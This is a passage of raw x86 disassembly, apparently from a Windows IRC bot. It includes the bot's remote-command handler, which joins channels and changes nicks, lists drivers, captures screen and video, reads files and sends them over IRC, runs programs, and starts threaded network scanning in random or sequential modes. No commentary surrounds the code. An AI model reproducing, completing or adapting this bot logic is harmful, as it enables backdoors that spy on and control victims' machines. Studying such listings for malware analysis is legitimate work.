jmp short loc_412FB6
; ---------------------------------------------------------------------------
loc_413022: ; CODE XREF: sub_40EE72+2463j
; sub_40EE72+247Aj
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push offset dword_430E94
push eax
call sub_4172B0
push edi
call sub_41781F
add esp, 10h
test eax, eax
jle loc_414F47
push edi
call sub_41781F
cmp eax, 400h
pop ecx
jge loc_414F47
lea eax, [ebp+var_2DC]
push eax
push offset dword_428598
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4407FC[eax]
call sub_40D633
add esp, 0Ch
push [ebp+arg_18]
push edi
push offset dword_430E68
jmp loc_4132D6
; ---------------------------------------------------------------------------
loc_41308E: ; CODE XREF: sub_40EE72+2435j
; sub_40EE72+244Cj
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4130BF
push esi
lea eax, [ebp+var_2DC]
push offset dword_430E60
push eax
call sub_4172B0
add esp, 0Ch
loc_4130BF: ; CODE XREF: sub_40EE72+4236j
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 400h
pop ecx
jge loc_414F47
lea eax, [ebp+var_2DC]
push eax
push offset dword_428598
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4407FC[eax]
call sub_40D633
add esp, 0Ch
push esi
push edi
push offset dword_430E34
jmp loc_4132D6
; ---------------------------------------------------------------------------
loc_413113: ; CODE XREF: sub_40EE72+2407j
; sub_40EE72+241Ej
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F47
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 400h
pop ecx
jge loc_414F47
push esi
push offset dword_428598
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4407FC[eax]
call sub_40D633
add esp, 0Ch
push esi
push edi
push offset dword_430E08
jmp loc_4132D6
; ---------------------------------------------------------------------------
loc_413181: ; CODE XREF: sub_40EE72+23D9j
; sub_40EE72+23F0j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F47
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push esi
push offset dword_430DD0
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_4131BB: ; CODE XREF: sub_40EE72+23ABj
; sub_40EE72+23C2j
push [ebp+var_90]
push offset dword_432D74
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F239
push [ebp+arg_18]
push offset dword_430DC4
push [ebp+arg_4]
call sub_40D633
push edi
call sub_41781F
imul eax, 3E8h
add esp, 10h
push eax
nop
call near ptr 2610E88h
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
push offset dword_430DA0
call sub_40BF6D
add esp, 14h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_413224: ; CODE XREF: sub_40EE72+237Dj
; sub_40EE72+2394j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
call sub_417AB0
push [ebp+arg_8]
mov esi, eax
call sub_417AB0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417880
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_414F47
push esi
lea eax, [ebp+var_2DC]
push offset dword_4315BC
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_40D679
add esp, 20h
push esi
push edi
push offset dword_430D74
jmp short loc_4132D6
; ---------------------------------------------------------------------------
loc_41328A: ; CODE XREF: sub_40EE72+234Fj
; sub_40EE72+2366j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
call sub_417AB0
push [ebp+arg_8]
mov esi, eax
call sub_417AB0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417880
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_414F47
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_40D679
add esp, 14h
push esi
push edi
push offset dword_430D48
loc_4132D6: ; CODE XREF: sub_40EE72+4217j
; sub_40EE72+429Cj ...
call sub_40BFE1
jmp loc_412FF4
; ---------------------------------------------------------------------------
loc_4132E0: ; CODE XREF: sub_40EE72+2321j
; sub_40EE72+2338j
cmp [ebp+var_C], ebx
jz loc_40F239
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F239
push eax
push edi
call sub_40BE75
pop ecx
pop ecx
push edi
push offset dword_430D1C
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_413312: ; CODE XREF: sub_40EE72+22E1j
; sub_40EE72+22F8j
push edi
push [ebp+arg_1C]
call sub_417880
pop ecx
test eax, eax
pop ecx
jz loc_414F47
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz loc_4133B6
push esi
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_41339E
push esi
lea eax, [ebp+var_2DC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_430F48
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_418C10
add esp, 24h
lea eax, [ebp+var_2DC]
push esi
push edi
push offset dword_430CE8
push eax
call sub_4172B0
add esp, 10h
inc [ebp+arg_24]
jmp loc_414AC3
; ---------------------------------------------------------------------------
loc_41339E: ; CODE XREF: sub_40EE72+44D1j
lea eax, [ebp+var_2DC]
push offset dword_430CA8
push eax
call sub_4172B0
pop ecx
pop ecx
jmp loc_414AC3
; ---------------------------------------------------------------------------
loc_4133B6: ; CODE XREF: sub_40EE72+44BCj
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40BB8C
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
lea eax, [ebp+var_2DC]
push edi
push offset dword_430C80
push 200h
push eax
call sub_41782A
add esp, 10h
jmp loc_414AC3
; ---------------------------------------------------------------------------
loc_413400: ; CODE XREF: sub_40EE72+22B3j
; sub_40EE72+22CAj
push offset aScreen ; "screen"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_413463
cmp [ebp+esi+var_8C], ebx
jz short loc_413450
push [ebp+esi+var_8C]
call sub_4085B3
cmp eax, 1
pop ecx
jnz short loc_413449
push [ebp+esi+var_8C]
lea eax, [ebp+var_2DC]
push offset dword_430C3C
push eax
call sub_4172B0
add esp, 0Ch
jmp short loc_413463
; ---------------------------------------------------------------------------
loc_413449: ; CODE XREF: sub_40EE72+45B8j
push offset dword_430C00
jmp short loc_413455
; ---------------------------------------------------------------------------
loc_413450: ; CODE XREF: sub_40EE72+45A6j
push offset dword_430BB8
loc_413455: ; CODE XREF: sub_40EE72+45DCj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_413463: ; CODE XREF: sub_40EE72+459Dj
; sub_40EE72+45D5j
push offset aDrivers ; "drivers"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_4134FA
mov [ebp+arg_0], ebx
loc_41347B: ; CODE XREF: sub_40EE72+4673j
lea eax, [ebp+var_75C]
push 1FFh
push eax
lea eax, [ebp+var_3F8]
push 0FFh
push eax
push [ebp+arg_0]
call dword_43ADC8
test eax, eax
jz short loc_4134DE
lea eax, [ebp+var_75C]
push eax
lea eax, [ebp+var_3F8]
push eax
lea eax, [ebp+var_15B0]
push [ebp+arg_0]
push offset dword_430B7C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_15B0]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 28h
loc_4134DE: ; CODE XREF: sub_40EE72+462Cj
inc [ebp+arg_0]
cmp [ebp+arg_0], 0Ah
jl short loc_41347B
lea eax, [ebp+var_2DC]
push offset dword_430B48
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4134FA: ; CODE XREF: sub_40EE72+4600j
push offset aFrame ; "frame"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_4135A0
cmp [ebp+esi+var_8C], ebx
jz short loc_41358D
cmp [ebp+esi+var_88], ebx
jz short loc_41358D
cmp [ebp+esi+var_84], ebx
jz short loc_41358D
mov eax, [ebp+esi+var_80]
cmp eax, ebx
jz short loc_41358D
push eax
call sub_41781F
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41781F
pop ecx
push eax
push [ebp+esi+var_88]
call sub_41781F
pop ecx
push eax
push [ebp+esi+var_8C]
call sub_4087EE
add esp, 10h
test eax, eax
jnz short loc_413586
push [ebp+esi+var_8C]
lea eax, [ebp+var_2DC]
push offset dword_430B04
push eax
call sub_4172B0
add esp, 0Ch
jmp short loc_4135A0
; ---------------------------------------------------------------------------
loc_413586: ; CODE XREF: sub_40EE72+46F5j
push offset dword_430AC0
jmp short loc_413592
; ---------------------------------------------------------------------------
loc_41358D: ; CODE XREF: sub_40EE72+46A4j
; sub_40EE72+46ADj ...
push offset dword_430A78
loc_413592: ; CODE XREF: sub_40EE72+4719j
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4135A0: ; CODE XREF: sub_40EE72+4697j
; sub_40EE72+4712j
push offset aVideo ; "video"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_413A62
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_413639
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_413639
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz short loc_413639
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_413639
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_413639
push esi
call sub_41781F
pop ecx
push eax
push edi
call sub_41781F
pop ecx
push eax
push [ebp+arg_10]
call sub_41781F
pop ecx
push eax
push [ebp+arg_0]
call sub_41781F
pop ecx
push eax
push [ebp+arg_18]
call sub_4089E7
add esp, 14h
test eax, eax
jnz short loc_41362F
push [ebp+arg_18]
push offset dword_430A34
jmp loc_411888
; ---------------------------------------------------------------------------
loc_41362F: ; CODE XREF: sub_40EE72+47AEj
push offset dword_4309E4
jmp loc_413A54
; ---------------------------------------------------------------------------
loc_413639: ; CODE XREF: sub_40EE72+474Fj
; sub_40EE72+475Dj ...
push offset dword_430998
jmp loc_413A54
; ---------------------------------------------------------------------------
loc_413643: ; CODE XREF: sub_40EE72+1CF0j
; sub_40EE72+1D07j
push offset aR ; "r"
push edi
call sub_4179A8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4136BE
mov ebx, 200h
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_41900C
add esp, 0Ch
loc_41366C: ; CODE XREF: sub_40EE72+4829j
test eax, eax
jz short loc_41369D
push 1
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_41900C
add esp, 20h
jmp short loc_41366C
; ---------------------------------------------------------------------------
loc_41369D: ; CODE XREF: sub_40EE72+47FCj
push esi
call sub_417900
pop ecx
lea eax, [ebp+var_2DC]
push edi
push offset dword_430964
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_4110FD
; ---------------------------------------------------------------------------
loc_4136BE: ; CODE XREF: sub_40EE72+47E2j
push edi
push offset dword_430934
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_4136C9: ; CODE XREF: sub_40EE72+1CC2j
; sub_40EE72+1CD9j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F47
push offset asc_42A660 ; "\n"
push esi
call sub_4179D0
push esi
call sub_40B358
add esp, 0Ch
test eax, eax
jnz short loc_413709
push offset dword_4308F8
jmp loc_413A54
; ---------------------------------------------------------------------------
loc_413709: ; CODE XREF: sub_40EE72+488Bj
push esi
push offset dword_4308D0
jmp loc_414AB4
; ---------------------------------------------------------------------------
loc_413714: ; CODE XREF: sub_40EE72+1C94j
; sub_40EE72+1CABj
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz loc_414F47
push eax
call sub_40AAFA
test eax, eax
pop ecx
jnz short loc_413745
push offset unk_4308A4
jmp loc_413A54
; ---------------------------------------------------------------------------
loc_413745: ; CODE XREF: sub_40EE72+48C7j
push offset dword_430878
jmp loc_413A54
; ---------------------------------------------------------------------------
loc_41374F: ; CODE XREF: sub_40EE72+1C66j
; sub_40EE72+1C7Dj
push 7Fh
lea eax, [ebp+var_6EC]
push edi
push eax
call sub_418C10
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_41377E
push 7Fh
lea eax, [ebp+var_66C]
push esi
push eax
call sub_418C10
add esp, 0Ch
loc_41377E: ; CODE XREF: sub_40EE72+48F8j
push 7Fh
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_418C10
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_6F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
mov eax, [ebp+var_4]
mov [ebp+var_564], eax
push edi
lea eax, [ebp+var_2DC]
push offset dword_430850
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 15h
push eax
call sub_416D5C
add esp, 18h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6F0]
push ebx
push eax
push offset sub_40BC4B
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_41381F
loc_413809: ; CODE XREF: sub_40EE72+49ABj
cmp [ebp+var_560], ebx
jnz loc_414AC3
push 32h
call near ptr 2610E88h
nop
jmp short loc_413809
; ---------------------------------------------------------------------------
loc_41381F: ; CODE XREF: sub_40EE72+4995j
nop
call near ptr 2660B07h
push eax
push offset unk_430804
jmp loc_414AB4
; ---------------------------------------------------------------------------
loc_413830: ; CODE XREF: sub_40EE72+1C38j
; sub_40EE72+1C4Fj
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_406387
add esp, 10h
push edi
push offset dword_4307E0
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_41384E: ; CODE XREF: sub_40EE72+1C0Aj
; sub_40EE72+1C21j
push 14h
lea eax, [ebp+var_708]
push ebx
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_6F4]
push edi
push offset aS_1 ; "%s"
push eax
call sub_4172B0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_5F0]
push 80h
push eax
call sub_41782A
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+var_6F4]
push eax
lea eax, [ebp+var_2DC]
push offset dword_4307AC
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 12h
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C512
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_413927
loc_413911: ; CODE XREF: sub_40EE72+4AB3j
cmp [ebp+var_560], ebx
jnz loc_414E11
push 32h
nop
call near ptr 2610E88h
jmp short loc_413911
; ---------------------------------------------------------------------------
loc_413927: ; CODE XREF: sub_40EE72+4A9Dj
nop
call near ptr 2660B07h
push eax
push offset dword_432C7C
jmp loc_414E02
; ---------------------------------------------------------------------------
loc_413938: ; CODE XREF: sub_40EE72+1BDCj
; sub_40EE72+1BF3j
push edi
nop
call near ptr 27E0CC0h
test eax, eax
jz short loc_413962
push edi
push offset dword_430780
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
add esp, 10h
jmp loc_4110DC
; ---------------------------------------------------------------------------
loc_413962: ; CODE XREF: sub_40EE72+4ACFj
push offset dword_431128
call sub_40AA35
pop ecx
push eax
jmp loc_414564
; ---------------------------------------------------------------------------
loc_413973: ; CODE XREF: sub_40EE72+1BAEj
; sub_40EE72+1BC5j
push edi
call sub_41781F
push eax
call sub_415419
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_413990
push offset unk_430748
jmp short loc_413995
; ---------------------------------------------------------------------------
loc_413990: ; CODE XREF: sub_40EE72+4B15j
push offset unk_430704
loc_413995: ; CODE XREF: sub_40EE72+4B1Cj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_411100
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
jmp loc_411100
; ---------------------------------------------------------------------------
loc_4139CE: ; CODE XREF: sub_40EE72+1B80j
; sub_40EE72+1B97j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_41518A
add esp, 18h
cmp eax, 1
push edi
jnz short loc_4139F0
push offset unk_4306D0
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_4139F0: ; CODE XREF: sub_40EE72+4B72j
push offset unk_430690
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_4139FA: ; CODE XREF: sub_40EE72+1B52j
; sub_40EE72+1B69j
push edi
call dword_43ADD8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_413A34
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_43AD50
cmp eax, ebx
jz short loc_413A4F
push dword ptr [eax]
loc_413A1D: ; CODE XREF: sub_40EE72+4BDBj
push edi
lea eax, [ebp+var_2DC]
push offset dword_430664
push eax
call sub_4172B0
add esp, 10h
jmp short loc_413A62
; ---------------------------------------------------------------------------
loc_413A34: ; CODE XREF: sub_40EE72+4B95j
push edi
call dword_43AE1C
cmp eax, ebx
jz short loc_413A4F
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_43AE24
push eax
jmp short loc_413A1D
; ---------------------------------------------------------------------------
loc_413A4F: ; CODE XREF: sub_40EE72+4BA7j
; sub_40EE72+4BCBj
push offset dword_43062C
loc_413A54: ; CODE XREF: sub_40EE72+3E2Dj
; sub_40EE72+3FBCj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_413A62: ; CODE XREF: sub_40EE72+2A25j
; sub_40EE72+3B35j ...
cmp [ebp+var_8], ebx
jnz loc_414AC3
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
jmp loc_414AC3
; ---------------------------------------------------------------------------
loc_413A8C: ; CODE XREF: sub_40EE72+1B24j
; sub_40EE72+1B3Bj
push 7Fh
push edi
push [ebp+arg_14]
call sub_418C10
add esp, 0Ch
push edi
push offset dword_4305F8
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_413AA5: ; CODE XREF: sub_40EE72+1AF6j
; sub_40EE72+1B0Dj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_43AD0C
test eax, eax
push edi
jz short loc_413AC5
push offset unk_4305BC
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_413AC5: ; CODE XREF: sub_40EE72+4C47j
push offset unk_430578
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_413ACF: ; CODE XREF: sub_40EE72+1AC8j
; sub_40EE72+1ADFj
mov al, [edi]
mov byte_42F5C4, al
movsx eax, byte ptr [edi]
push eax
push offset dword_430544
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_413AE4: ; CODE XREF: sub_40EE72+1A9Aj
; sub_40EE72+1AB1j
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 400h
pop ecx
jge loc_414F47
push ebx
push ebx
lea eax, [ebp+var_B8]
push 2
push eax
call sub_415D01
add esp, 10h
push eax
lea eax, [ebp+var_2DC]
push offset dword_430E94
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_412FD0
; ---------------------------------------------------------------------------
loc_413B32: ; CODE XREF: sub_40EE72+1A6Cj
; sub_40EE72+1A83j
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_40F239
push edi
call sub_41781F
cmp eax, 400h
pop ecx
jge loc_40F239
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4407FC[eax]
call sub_40D633
pop ecx
pop ecx
push 1F4h
nop
call near ptr 2610E88h
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4407FC[eax]
call dword_43AE30
push [ebp+var_10]
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_440804[eax]
nop
call near ptr 27F091Fh
push edi
call sub_41781F
imul eax, 234h
push edi
mov dword_440804[eax], ebx
call sub_41781F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_4405F0[eax], bl
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej
; sub_40EE72+1A55j
push edi
push offset aAll ; "all"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_413C1B
call sub_416F25
cmp eax, ebx
jle short loc_413C11
push eax
push offset dword_4304F8
loc_413BFD: ; CODE XREF: sub_40EE72+15E2j
; sub_40EE72+2A8Fj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
loc_413C09: ; CODE XREF: sub_40EE72+3CA4j
add esp, 0Ch
jmp loc_41460C
; ---------------------------------------------------------------------------
loc_413C11: ; CODE XREF: sub_40EE72+4D83j
push offset dword_4304C0
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj
mov eax, [ebp+var_C0]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40F239
lea eax, [ebp+edi*4+var_94]
mov [ebp+arg_24], eax
loc_413C37: ; CODE XREF: sub_40EE72+4E36j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_40F239
push esi
call sub_41781F
push eax
call sub_416E97
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_413C5E
push offset dword_43048C
jmp short loc_413C63
; ---------------------------------------------------------------------------
loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j
push offset dword_430450
loc_413C63: ; CODE XREF: sub_40EE72+4DEAj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_413C93
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_413C93: ; CODE XREF: sub_40EE72+4E03j
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_413C37
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_413CAF: ; CODE XREF: sub_40EE72+1A10j
; sub_40EE72+1A27j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F47
push esi
push offset dword_428598
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push esi
push offset dword_430428
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413CE9: ; CODE XREF: sub_40EE72+19E2j
; sub_40EE72+19F9j
push edi
push offset dword_430DC4
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push edi
push offset dword_4303F8
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413D05: ; CODE XREF: sub_40EE72+19B4j
; sub_40EE72+19CBj
push [ebp+esi+var_8C]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 10h
push edi
push offset dword_4303C8
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413D28: ; CODE XREF: sub_40EE72+1986j
; sub_40EE72+199Dj
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push edi
push offset dword_430394
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413D44: ; CODE XREF: sub_40EE72+194Bj
; sub_40EE72+1960j
mov al, byte_42F5F2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_42F5F2
jz loc_40F239
mov ecx, edx
loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_413D5B
cmp al, bl
jz loc_40F239
mov [ebp+arg_18], edx
loc_413D70: ; CODE XREF: sub_40EE72+51BCj
push 8
call sub_416FA4
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 3E8h
jle short loc_413DBF
push ecx
lea eax, [ebp+var_2DC]
push offset unk_4316D8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 20h
jmp loc_414025
; ---------------------------------------------------------------------------
loc_413DBF: ; CODE XREF: sub_40EE72+4F18j
or [ebp+var_314], 0FFFFFFFFh
cmp dword_42ACB0, ebx
mov [ebp+var_318], 64h
mov [ebp+var_32C], 7
mov [ebp+var_328], 270Fh
mov [ebp+arg_0], ebx
jz short loc_413E30
mov eax, [ebp+arg_18]
mov edi, offset dword_42ACB0
lea esi, [eax-0Ah]
loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j
lea eax, [edi-28h]
push esi
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_413E16
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_413DFA
jmp short loc_413E30
; ---------------------------------------------------------------------------
loc_413E16: ; CODE XREF: sub_40EE72+4F96j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, dword_42ACB0[ecx]
mov [ebp+var_330], ecx
loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj
; sub_40EE72+4FA2j
cmp [ebp+var_330], ebx
jz loc_414039
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_43AD3C
mov al, [ebp+var_9C7]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E8], eax
push [ebp+var_2E8]
call dword_43AE24
push eax
lea eax, [ebp+var_444]
push eax
call sub_418C10
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax
call sub_418F10
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_413ED2
loc_413EB0: ; CODE XREF: sub_40EE72+505Ej
cmp eax, ebx
jz short loc_413ED2
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h
push eax
call sub_418F10
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_413EB0
loc_413ED2: ; CODE XREF: sub_40EE72+503Cj
; sub_40EE72+5040j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov esi, [ebp+var_4]
mov [ebp+var_334], eax
mov eax, [ebp+var_8]
mov edi, 80h
mov [ebp+var_308], eax
lea eax, [ebp+var_434]
push edi
push eax
mov [ebp+var_304], 1
mov [ebp+var_30C], esi
call sub_41782A
push offset byte_436EDC
push offset aF ; "#f"
call sub_4176D0
add esp, 14h
test eax, eax
jz short loc_413F3C
push offset aF ; "#f"
lea eax, [ebp+var_3B4]
push edi
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_413F42
; ---------------------------------------------------------------------------
loc_413F3C: ; CODE XREF: sub_40EE72+50B1j
mov [ebp+var_3B4], bl
loc_413F42: ; CODE XREF: sub_40EE72+50C8j
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_413F54
mov eax, offset aSequential ; "Sequential"
loc_413F54: ; CODE XREF: sub_40EE72+50DBj
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_43031C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416D5C
add esp, 2Ch
mov [ebp+var_324], eax
